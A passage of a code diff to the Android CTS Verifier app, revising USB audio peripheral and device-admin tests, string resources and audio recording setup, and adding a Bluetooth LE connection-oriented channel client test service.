+    <string name="disallow_add_user_action">Adding a new user</string>
     <string name="disallow_adjust_volume">Disallow adjust volume</string>
     <string name="disallow_adjust_volume_action">Adjusting the volume</string>
     <string name="disallow_config_date_time">Disallow config date and time settings</string>
@@ -4055,10 +4126,6 @@
     <string name="uapButtonsBtnDLbl">Button D - voice assist</string>
     <string name="uapButtonsRecognized">Recognized</string>
     <string name="uapButtonsNotRecognized">Not Recognized</string>
-    <string name="uapButtonsDisableAssistantTitle">Disable Google Assistant</string>
-    <string name="uapButtonsDisableAssistant">For this test to succeed it may be necessary
-        to disable the Google Assistant (Settings / Google / Search / Google Assistant Settings /
-        Devices / &lt;device name&gt; / Google Assistant)</string>
 
     <!-- Audio general text -->
     <string name="audio_general_headset_port_exists">Does this device have a headset port?</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
index 8893e0d..7d3026a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
@@ -102,7 +102,7 @@
 
         DevicePropertyInfo devicePropertyInfo = new DevicePropertyInfo(Build.CPU_ABI,
                 Build.CPU_ABI2, abis, abis32, abis64, Build.BOARD, Build.BRAND, Build.DEVICE,
-                Build.FINGERPRINT, Build.ID, Build.MANUFACTURER, Build.MODEL, Build.PRODUCT,
+                Build.FINGERPRINT, null, Build.ID, Build.MANUFACTURER, Build.MODEL, Build.PRODUCT,
                 referenceFingerprint, Build.getSerial(), Build.TAGS, Build.TYPE, versionBaseOs,
                 Build.VERSION.RELEASE, Integer.toString(Build.VERSION.SDK_INT),
                 versionSecurityPatch, Build.VERSION.INCREMENTAL);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminKeyguardDisabledFeaturesActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminKeyguardDisabledFeaturesActivity.java
index 0e82423..c8bffdf 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminKeyguardDisabledFeaturesActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminKeyguardDisabledFeaturesActivity.java
@@ -67,12 +67,11 @@
                     R.string.device_admin_keyguard_disable_camera_instruction,
                     new Intent(ByodHelperActivity.ACTION_LOCKNOW)));
         }
-        if(!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
-            adapter.add(new DialogTestListItem(this, R.string.device_admin_disable_notifications,
-                    "DeviceAdmin_DisableNotifications",
-                    R.string.device_admin_disable_notifications_instruction,
-                    new Intent(ByodHelperActivity.ACTION_NOTIFICATION_ON_LOCKSCREEN)));
-        }
+
+        adapter.add(new DialogTestListItem(this, R.string.device_admin_disable_notifications,
+                "DeviceAdmin_DisableNotifications",
+                R.string.device_admin_disable_notifications_instruction,
+                new Intent(ByodHelperActivity.ACTION_NOTIFICATION_ON_LOCKSCREEN)));
     }
 
     private boolean hasTrustAgents() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java
index 140757d..7fdf403 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java
@@ -44,8 +44,6 @@
     protected AudioDeviceInfo mOutputDevInfo;
     protected AudioDeviceInfo mInputDevInfo;
 
-    protected final boolean mIsMandatedRequired;
-
     // This will be overriden...
     protected  int mSystemSampleRate = 48000;
 
@@ -55,12 +53,9 @@
 
     private TextView mPeripheralNameTx;
 
-    public USBAudioPeripheralActivity(boolean mandatedRequired) {
+    public USBAudioPeripheralActivity() {
         super();
 
-        // determine if to show "UNSUPPORTED" if the mandated peripheral is required.
-        mIsMandatedRequired = mandatedRequired;
-
         mProfileManager.loadProfiles();
     }
 
@@ -104,7 +99,7 @@
                 productName = mInputDevInfo.getProductName().toString();
             }
             String ctrlText;
-            if (mSelectedProfile == null && mIsMandatedRequired) {
+            if (mSelectedProfile == null) {
                 ctrlText = productName + " - UNSUPPORTED";
             } else {
                 ctrlText = productName;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java
index 5029160..f12de73 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java
@@ -32,10 +32,6 @@
 
     private TextView mTestStatusTx;
 
-    public USBAudioPeripheralAttributesActivity() {
-        super(true); // Mandated peripheral is required
-    }
-
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralButtonsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralButtonsActivity.java
index de3ce7f..87b2149 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralButtonsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralButtonsActivity.java
@@ -16,8 +16,6 @@
 
 package com.android.cts.verifier.audio;
 
-import android.app.AlertDialog;
-import android.content.DialogInterface;
 import android.content.res.Resources;
 import android.graphics.Color;
 import android.os.Bundle;
@@ -47,23 +45,6 @@
     private TextView mBtnBStatusTxt;
     private TextView mBtnCStatusTxt;
 
-    public USBAudioPeripheralButtonsActivity() {
-        super(false); // Mandated peripheral is NOT required
-    }
-
-    private void showDisableAssistantDialog() {
-        AlertDialog.Builder builder =
-                new AlertDialog.Builder(this, android.R.style.Theme_Material_Dialog_Alert);
-        builder.setTitle(getResources().getString(R.string.uapButtonsDisableAssistantTitle));
-        builder.setMessage(getResources().getString(R.string.uapButtonsDisableAssistant));
-        builder.setPositiveButton(android.R.string.yes,
-            new DialogInterface.OnClickListener() {
-                public void onClick(DialogInterface dialog, int which) {}
-         });
-        builder.setIcon(android.R.drawable.ic_dialog_alert);
-        builder.show();
-    }
-
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
@@ -81,12 +62,12 @@
 
         setPassFailButtonClickListeners();
         setInfoResources(R.string.usbaudio_buttons_test, R.string.usbaudio_buttons_info, -1);
-
-        showDisableAssistantDialog();
     }
 
     private void showButtonsState() {
-        int ctrlColor = mIsPeripheralAttached ? Color.WHITE : Color.GRAY;
+        int ctrlColor = mIsPeripheralAttached && mSelectedProfile != null
+                ? Color.WHITE
+                : Color.GRAY;
         mBtnALabelTxt.setTextColor(ctrlColor);
         mBtnAStatusTxt.setTextColor(ctrlColor);
         mBtnBLabelTxt.setTextColor(ctrlColor);
@@ -100,13 +81,23 @@
             mHasBtnB ? R.string.uapButtonsRecognized : R.string.uapButtonsNotRecognized));
         mBtnCStatusTxt.setText(getString(
             mHasBtnC ? R.string.uapButtonsRecognized : R.string.uapButtonsNotRecognized));
-
-        calculateMatch();
     }
 
     private void calculateMatch() {
-        if (mIsPeripheralAttached) {
-            boolean match = mHasBtnA && mHasBtnB && mHasBtnC;
+        if (mIsPeripheralAttached && mSelectedProfile != null) {
+            ProfileButtonAttributes mButtonAttributes = mSelectedProfile.getButtonAttributes();
+            boolean match = mButtonAttributes != null;
+            boolean interceptedVolume = getResources().getBoolean(Resources.getSystem()
+                .getIdentifier("config_handleVolumeKeysInWindowManager", "bool", "android"));
+            if (match && mButtonAttributes.mHasBtnA != mHasBtnA) {
+                match = false;
+            }
+            if (match && mButtonAttributes.mHasBtnB != mHasBtnB && !interceptedVolume) {
+                match = false;
+            }
+            if (match && mButtonAttributes.mHasBtnC != mHasBtnC && !interceptedVolume) {
+                match = false;
+            }
             Log.i(TAG, "match:" + match);
             getPassButton().setEnabled(match);
         } else {
@@ -116,27 +107,29 @@
 
     @Override
     public boolean onKeyDown(int keyCode, KeyEvent event) {
-        // Log.i(TAG, "onKeyDown(" + keyCode + ")");
-        switch (keyCode) {
-        // Function A control event
-        case KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE:
-            mHasBtnA = true;
-            break;
-
-        // Function B control event
-        case KeyEvent.KEYCODE_VOLUME_UP:
-            mHasBtnB = true;
-            break;
-
-        // Function C control event
-        case KeyEvent.KEYCODE_VOLUME_DOWN:
-            mHasBtnC = true;
-            break;
+        Log.i(TAG, "onKeyDown(" + keyCode + ")");
+        if (mSelectedProfile != null) {
+            switch (keyCode) {
+            // Function A control event
+            case KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE:
+                mHasBtnA = true;
+                break;
+    
+            // Function B control event
+            case KeyEvent.KEYCODE_VOLUME_UP:
+                mHasBtnB = true;
+                break;
+    
+            // Function C control event
+            case KeyEvent.KEYCODE_VOLUME_DOWN:
+                mHasBtnC = true;
+                break;
+            }
+    
+            showButtonsState();
+            calculateMatch();
         }
 
-        showButtonsState();
-        calculateMatch();
-
         return super.onKeyDown(keyCode, event);
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayActivity.java
index de9016a..640d489 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayActivity.java
@@ -31,10 +31,6 @@
     private Button mPlayBtn;
     private LocalClickListener mButtonClickListener = new LocalClickListener();
 
-    public USBAudioPeripheralPlayActivity() {
-        super(false); // Mandated peripheral is NOT required
-    }
-
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
@@ -56,8 +52,8 @@
     // USBAudioPeripheralActivity
     // Headset not publicly available, violates CTS Verifier additional equipment guidelines.
     public void updateConnectStatus() {
-        mPlayBtn.setEnabled(mIsPeripheralAttached);
-        getPassButton().setEnabled(mIsPeripheralAttached);
+        mPlayBtn.setEnabled(mIsPeripheralAttached && mSelectedProfile != null);
+        getPassButton().setEnabled(mSelectedProfile != null && mOutputDevInfo != null);
     }
 
     public class LocalClickListener implements View.OnClickListener {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java
index fc666aa..33417d1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java
@@ -41,10 +41,6 @@
 
     private static final int WAVBUFF_SIZE_IN_SAMPLES = 2048;
 
-    public USBAudioPeripheralPlayerActivity(boolean requiresMandatePeripheral) {
-        super(requiresMandatePeripheral); // Mandated peripheral is NOT required
-    }
-
     protected void setupPlayer() {
         mSystemBufferSize =
             StreamPlayer.calcNumBurstFrames((AudioManager)getSystemService(Context.AUDIO_SERVICE));
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
index 268201c..5772461 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
@@ -49,10 +49,6 @@
 
     private WaveScopeView mWaveView = null;
 
-    public USBAudioPeripheralRecordActivity() {
-        super(false); // Mandated peripheral is NOT required
-    }
-
     private void connectWaveView() {
         // Log.i(TAG, "connectWaveView() rec:" + (mRecorder != null));
         if (mRecorder != null) {
@@ -77,12 +73,7 @@
             mRecorder.stop();
         }
 
-        // no reason to do more than 2
         int numChans = USBDeviceInfoHelper.calcMaxChannelCount(mInputDevInfo);
-        if (numChans > 2) {
-            numChans = 2;
-        }
-        Log.i(TAG, "  numChans:" + numChans);
 
         if (mRecorder.open(numChans, mSystemSampleRate, mSystemBufferSize)) {
             connectWaveView();  // Setup the WaveView
@@ -145,9 +136,9 @@
     // USBAudioPeripheralActivity
     //
     public void updateConnectStatus() {
-        mRecordBtn.setEnabled(mIsPeripheralAttached);
-        mRecordLoopbackBtn.setEnabled(mIsPeripheralAttached);
-        getPassButton().setEnabled(mIsPeripheralAttached);
+        mRecordBtn.setEnabled(mIsPeripheralAttached && mSelectedProfile != null);
+        mRecordLoopbackBtn.setEnabled(mIsPeripheralAttached && mSelectedProfile != null);
+        getPassButton().setEnabled(mSelectedProfile != null && mOutputDevInfo != null);
     }
 
     public class LocalClickListener implements View.OnClickListener {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioUtils.java
index 55b7f9a..7190af9 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioUtils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioUtils.java
@@ -32,6 +32,9 @@
     }
 
     public static int countToIndexMask(int chanCount) {
+        // From the documentation for AudioFormat:
+        // The canonical channel index masks by channel count are given by the formula
+        // (1 << channelCount) - 1.
         return (1 << chanCount) - 1;
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java
index 2ec742e..7cdff34 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java
@@ -120,30 +120,19 @@
         mNumChannels = numChans;
         mSampleRate = sampleRate;
 
-        final int frameSize =
-                AudioUtils.calcFrameSizeInBytes(AudioFormat.ENCODING_PCM_FLOAT, mNumChannels);
-        final int bufferSizeInBytes = frameSize * 64;   // Some, non-critical value
-
-        AudioFormat.Builder formatBuilder = new AudioFormat.Builder();
-        formatBuilder.setEncoding(AudioFormat.ENCODING_PCM_FLOAT);
-        formatBuilder.setSampleRate(mSampleRate);
-
-        if (numChans <= 2) {
-            // There is currently a bug causing channel INDEX masks to fail.
-            // for channels counts of <= 2, use channel POSITION
-            final int chanPosMask = AudioUtils.countToInPositionMask(numChans);
-            formatBuilder.setChannelMask(chanPosMask);
-        } else {
-            // There are no INPUT channel-position masks for > 2 channels
-            final int chanIndexMask = AudioUtils.countToIndexMask(numChans);
-            formatBuilder.setChannelIndexMask(chanIndexMask);
-        }
-
-        AudioRecord.Builder builder = new AudioRecord.Builder();
-        builder.setAudioFormat(formatBuilder.build());
+        int chanIndexMask = AudioUtils.countToIndexMask(numChans);
+        int bufferSizeInBytes = 2048;   // Some, non-critical value
 
         try {
-            mAudioRecord = builder.build();
+            mAudioRecord = new AudioRecord.Builder()
+                    .setAudioFormat(new AudioFormat.Builder()
+                            .setEncoding(AudioFormat.ENCODING_PCM_FLOAT)
+                            .setSampleRate(mSampleRate)
+                            .setChannelIndexMask(chanIndexMask)
+                            .build())
+                    .setBufferSizeInBytes(bufferSizeInBytes)
+                    .build();
+
             return true;
         } catch (UnsupportedOperationException ex) {
             Log.e(TAG, "Couldn't open AudioRecord: " + ex);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocClientService.java
new file mode 100644
index 0000000..183cebd
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocClientService.java
@@ -0,0 +1,725 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.Set;
+import java.util.UUID;
+
+import java.io.ByteArrayOutputStream;
+
+import com.android.cts.verifier.R;
+
+import android.app.Service;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothDevice;
+import android.bluetooth.BluetoothGatt;
+import android.bluetooth.BluetoothGattCallback;
+import android.bluetooth.BluetoothGattCharacteristic;
+import android.bluetooth.BluetoothGattDescriptor;
+import android.bluetooth.BluetoothGattService;
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.BluetoothProfile;
+import android.bluetooth.BluetoothSocket;
+import android.bluetooth.le.BluetoothLeScanner;
+import android.bluetooth.le.ScanCallback;
+import android.bluetooth.le.ScanFilter;
+import android.bluetooth.le.ScanResult;
+import android.bluetooth.le.ScanSettings;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Build;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Message;
+import android.os.ParcelUuid;
+import android.text.TextUtils;
+import android.util.Log;
+import android.widget.Toast;
+
+public class BleCocClientService extends Service {
+
+    public static final boolean DEBUG = true;
+    public static final String TAG = "BleCocClientService";
+
+    private static final int TRANSPORT_MODE_FOR_SECURE_CONNECTION = BluetoothDevice.TRANSPORT_LE;
+
+    public static final String BLE_LE_CONNECTED =
+            "com.android.cts.verifier.bluetooth.BLE_LE_CONNECTED";
+    public static final String BLE_GOT_PSM =
+            "com.android.cts.verifier.bluetooth.BLE_GOT_PSM";
+    public static final String BLE_COC_CONNECTED =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CONNECTED";
+    public static final String BLE_CONNECTION_TYPE_CHECKED =
+            "com.android.cts.verifier.bluetooth.BLE_CONNECTION_TYPE_CHECKED";
+    public static final String BLE_DATA_8BYTES_SENT =
+            "com.android.cts.verifier.bluetooth.BLE_DATA_8BYTES_SENT";
+    public static final String BLE_DATA_8BYTES_READ =
+            "com.android.cts.verifier.bluetooth.BLE_DATA_8BYTES_READ";
+    public static final String BLE_DATA_LARGEBUF_READ =
+            "com.android.cts.verifier.bluetooth.BLE_DATA_LARGEBUF_READ";
+    public static final String BLE_LE_DISCONNECTED =
+            "com.android.cts.verifier.bluetooth.BLE_LE_DISCONNECTED";
+
+    public static final String BLE_BLUETOOTH_MISMATCH_SECURE =
+            "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_MISMATCH_SECURE";
+    public static final String BLE_BLUETOOTH_MISMATCH_INSECURE =
+            "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_MISMATCH_INSECURE";
+    public static final String BLE_BLUETOOTH_DISABLED =
+            "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_DISABLED";
+    public static final String BLE_GATT_CONNECTED =
+            "com.android.cts.verifier.bluetooth.BLE_GATT_CONNECTED";
+    public static final String BLE_BLUETOOTH_DISCONNECTED =
+            "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_DISCONNECTED";
+    public static final String BLE_CLIENT_ERROR =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ERROR";
+    public static final String EXTRA_COMMAND =
+            "com.android.cts.verifier.bluetooth.EXTRA_COMMAND";
+    public static final String EXTRA_WRITE_VALUE =
+            "com.android.cts.verifier.bluetooth.EXTRA_WRITE_VALUE";
+    public static final String EXTRA_BOOL =
+            "com.android.cts.verifier.bluetooth.EXTRA_BOOL";
+
+    // Literal for Client Action
+    public static final String BLE_COC_CLIENT_ACTION_LE_INSECURE_CONNECT =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_LE_INSECURE_CONNECT";
+    public static final String BLE_COC_CLIENT_ACTION_LE_SECURE_CONNECT =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_LE_SECURE_CONNECT";
+    public static final String BLE_COC_CLIENT_ACTION_GET_PSM =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_GET_PSM";
+    public static final String BLE_COC_CLIENT_ACTION_COC_CLIENT_CONNECT =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_COC_CLIENT_CONNECT";
+    public static final String BLE_COC_CLIENT_ACTION_CHECK_CONNECTION_TYPE =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_CHECK_CONNECTION_TYPE";
+    public static final String BLE_COC_CLIENT_ACTION_SEND_DATA_8BYTES =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_SEND_DATA_8BYTES";
+    public static final String BLE_COC_CLIENT_ACTION_READ_DATA_8BYTES =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_READ_DATA_8BYTES";
+    public static final String BLE_COC_CLIENT_ACTION_EXCHANGE_DATA =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_EXCHANGE_DATA";
+    public static final String BLE_COC_CLIENT_ACTION_CLIENT_CONNECT =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_CLIENT_CONNECT";
+    public static final String BLE_COC_CLIENT_ACTION_CLIENT_CONNECT_SECURE =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_CLIENT_CONNECT_SECURE";
+    public static final String BLE_CLIENT_ACTION_CLIENT_DISCONNECT =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_CLIENT_DISCONNECT";
+
+    private static final UUID SERVICE_UUID =
+            UUID.fromString("00009999-0000-1000-8000-00805f9b34fb");
+
+    /**
+     * UUID of the GATT Read Characteristics for LE_PSM value.
+     */
+    public static final UUID LE_PSM_CHARACTERISTIC_UUID =
+            UUID.fromString("2d410339-82b6-42aa-b34e-e2e01df8cc1a");
+
+    public static final String WRITE_VALUE = "CLIENT_TEST";
+    private static final String NOTIFY_VALUE = "NOTIFY_TEST";
+    private int mBleState = BluetoothProfile.STATE_DISCONNECTED;
+    private static final int EXECUTION_DELAY = 1500;
+
+    // current test category
+    private String mCurrentAction;
+
+    private BluetoothManager mBluetoothManager;
+    private BluetoothAdapter mBluetoothAdapter;
+    private BluetoothDevice mDevice;
+    private BluetoothGatt mBluetoothGatt;
+    private BluetoothLeScanner mScanner;
+    private Handler mHandler;
+    private boolean mSecure;
+    private boolean mValidityService;
+    private int mPsm;
+    private BluetoothChatService mChatService;
+    private int mNextReadExpectedLen = -1;
+    private String mNextReadCompletionIntent;
+    private int mTotalReadLen = 0;
+    private byte mNextReadByte;
+    private int mNextWriteExpectedLen = -1;
+    private String mNextWriteCompletionIntent = null;
+
+    // Handler for communicating task with peer.
+    private TestTaskQueue mTaskQueue;
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+
+        registerReceiver(mBondStatusReceiver,
+                         new IntentFilter(BluetoothDevice.ACTION_BOND_STATE_CHANGED));
+
+        mBluetoothManager = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);
+        mBluetoothAdapter = mBluetoothManager.getAdapter();
+        mScanner = mBluetoothAdapter.getBluetoothLeScanner();
+        mHandler = new Handler();
+
+        mTaskQueue = new TestTaskQueue(getClass().getName() + "_taskHandlerThread");
+    }
+
+    @Override
+    public int onStartCommand(final Intent intent, int flags, int startId) {
+        if (!mBluetoothAdapter.isEnabled()) {
+            notifyBluetoothDisabled();
+        } else {
+            mTaskQueue.addTask(new Runnable() {
+                @Override
+                public void run() {
+                    onTestFinish(intent.getAction());
+                }
+            }, EXECUTION_DELAY);
+        }
+        return START_NOT_STICKY;
+    }
+
+    private void onTestFinish(String action) {
+        mCurrentAction = action;
+        if (mCurrentAction != null) {
+            switch (mCurrentAction) {
+                case BLE_COC_CLIENT_ACTION_LE_INSECURE_CONNECT:
+                    mSecure = false;
+                    startScan();
+                    break;
+                case BLE_COC_CLIENT_ACTION_LE_SECURE_CONNECT:
+                    mSecure = true;
+                    startScan();
+                    break;
+                case BLE_COC_CLIENT_ACTION_GET_PSM:
+                    startLeDiscovery();
+                    break;
+                case BLE_COC_CLIENT_ACTION_COC_CLIENT_CONNECT:
+                    leCocClientConnect();
+                    break;
+                case BLE_COC_CLIENT_ACTION_CHECK_CONNECTION_TYPE:
+                    leCheckConnectionType();
+                    break;
+                case BLE_COC_CLIENT_ACTION_SEND_DATA_8BYTES:
+                    sendData8bytes();
+                    break;
+                case BLE_COC_CLIENT_ACTION_READ_DATA_8BYTES:
+                    readData8bytes();
+                    break;
+                case BLE_COC_CLIENT_ACTION_EXCHANGE_DATA:
+                    sendDataLargeBuf();
+                    readDataLargeBuf();
+                    break;
+                case BLE_CLIENT_ACTION_CLIENT_DISCONNECT:
+                    if (mBluetoothGatt != null) {
+                        mBluetoothGatt.disconnect();
+                    }
+                    if (mChatService != null) {
+                        mChatService.stop();
+                    }
+                    break;
+                default:
+                    Log.e(TAG, "Error: Unhandled or invalid action=" + mCurrentAction);
+            }
+        }
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        if (mBluetoothGatt != null) {
+            mBluetoothGatt.disconnect();
+            mBluetoothGatt.close();
+            mBluetoothGatt = null;
+        }
+        stopScan();
+        unregisterReceiver(mBondStatusReceiver);
+
+        if (mChatService != null) {
+            mChatService.stop();
+        }
+
+        mTaskQueue.quit();
+    }
+
+    public static BluetoothGatt connectGatt(BluetoothDevice device, Context context,
+                                            boolean autoConnect, boolean isSecure,
+                                            BluetoothGattCallback callback) {
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
+            if (isSecure) {
+                if (TRANSPORT_MODE_FOR_SECURE_CONNECTION == BluetoothDevice.TRANSPORT_AUTO) {
+                    Toast.makeText(context, "connectGatt(transport=AUTO)", Toast.LENGTH_SHORT)
+                    .show();
+                } else {
+                    Toast.makeText(context, "connectGatt(transport=LE)", Toast.LENGTH_SHORT).show();
+                }
+                return device.connectGatt(context, autoConnect, callback,
+                                          TRANSPORT_MODE_FOR_SECURE_CONNECTION);
+            } else {
+                Toast.makeText(context, "connectGatt(transport=LE)", Toast.LENGTH_SHORT).show();
+                return device.connectGatt(context, autoConnect, callback,
+                                          BluetoothDevice.TRANSPORT_LE);
+            }
+        } else {
+            Toast.makeText(context, "connectGatt", Toast.LENGTH_SHORT).show();
+            return device.connectGatt(context, autoConnect, callback);
+        }
+    }
+
+    private void readCharacteristic(UUID uuid) {
+        BluetoothGattCharacteristic characteristic = getCharacteristic(uuid);
+        if (characteristic != null) {
+            mBluetoothGatt.readCharacteristic(characteristic);
+        }
+    }
+
+    private void notifyError(String message) {
+        showMessage(message);
+        Log.e(TAG, message);
+
+        Intent intent = new Intent(BLE_CLIENT_ERROR);
+        sendBroadcast(intent);
+    }
+
+    private void notifyMismatchSecure() {
+        Intent intent = new Intent(BLE_BLUETOOTH_MISMATCH_SECURE);
+        sendBroadcast(intent);
+    }
+
+    private void notifyMismatchInsecure() {
+        Intent intent = new Intent(BLE_BLUETOOTH_MISMATCH_INSECURE);
+        sendBroadcast(intent);
+    }
+
+    private void notifyBluetoothDisabled() {
+        Intent intent = new Intent(BLE_BLUETOOTH_DISABLED);
+        sendBroadcast(intent);
+    }
+
+    private void notifyConnected() {
+        showMessage("Bluetooth LE GATT connected");
+        Intent intent = new Intent(BLE_LE_CONNECTED);
+        sendBroadcast(intent);
+    }
+
+    private void startLeDiscovery() {
+        // Start Service Discovery
+        if (mBluetoothGatt != null && mBleState == BluetoothProfile.STATE_CONNECTED) {
+            mBluetoothGatt.discoverServices();
+        } else {
+            showMessage("Bluetooth LE GATT not connected.");
+        }
+    }
+
+    private void notifyDisconnected() {
+        showMessage("Bluetooth LE disconnected");
+        Intent intent = new Intent(BLE_BLUETOOTH_DISCONNECTED);
+        sendBroadcast(intent);
+    }
+
+    private void notifyServicesDiscovered() {
+        showMessage("Service discovered");
+        // Find the LE_COC_PSM characteristics
+        if (DEBUG) {
+            Log.d(TAG, "notifyServicesDiscovered: Next step is to read the PSM char.");
+        }
+        readCharacteristic(LE_PSM_CHARACTERISTIC_UUID);
+    }
+
+    private BluetoothGattService getService() {
+        BluetoothGattService service = null;
+
+        if (mBluetoothGatt != null) {
+            service = mBluetoothGatt.getService(SERVICE_UUID);
+            if (service == null) {
+                showMessage("GATT Service not found");
+            }
+        }
+        return service;
+    }
+
+    private BluetoothGattCharacteristic getCharacteristic(UUID uuid) {
+        BluetoothGattCharacteristic characteristic = null;
+
+        BluetoothGattService service = getService();
+        if (service != null) {
+            characteristic = service.getCharacteristic(uuid);
+            if (characteristic == null) {
+                showMessage("Characteristic not found");
+            }
+        }
+        return characteristic;
+    }
+
+    private void showMessage(final String msg) {
+        mHandler.post(new Runnable() {
+            public void run() {
+                Toast.makeText(BleCocClientService.this, msg, Toast.LENGTH_SHORT).show();
+            }
+        });
+    }
+
+    private final BluetoothGattCallback mGattCallbacks = new BluetoothGattCallback() {
+        @Override
+        public void onConnectionStateChange(BluetoothGatt gatt, int status, int newState) {
+            if (DEBUG) {
+                Log.d(TAG, "onConnectionStateChange: status=" + status + ", newState=" + newState);
+            }
+            if (status == BluetoothGatt.GATT_SUCCESS) {
+                if (newState == BluetoothProfile.STATE_CONNECTED) {
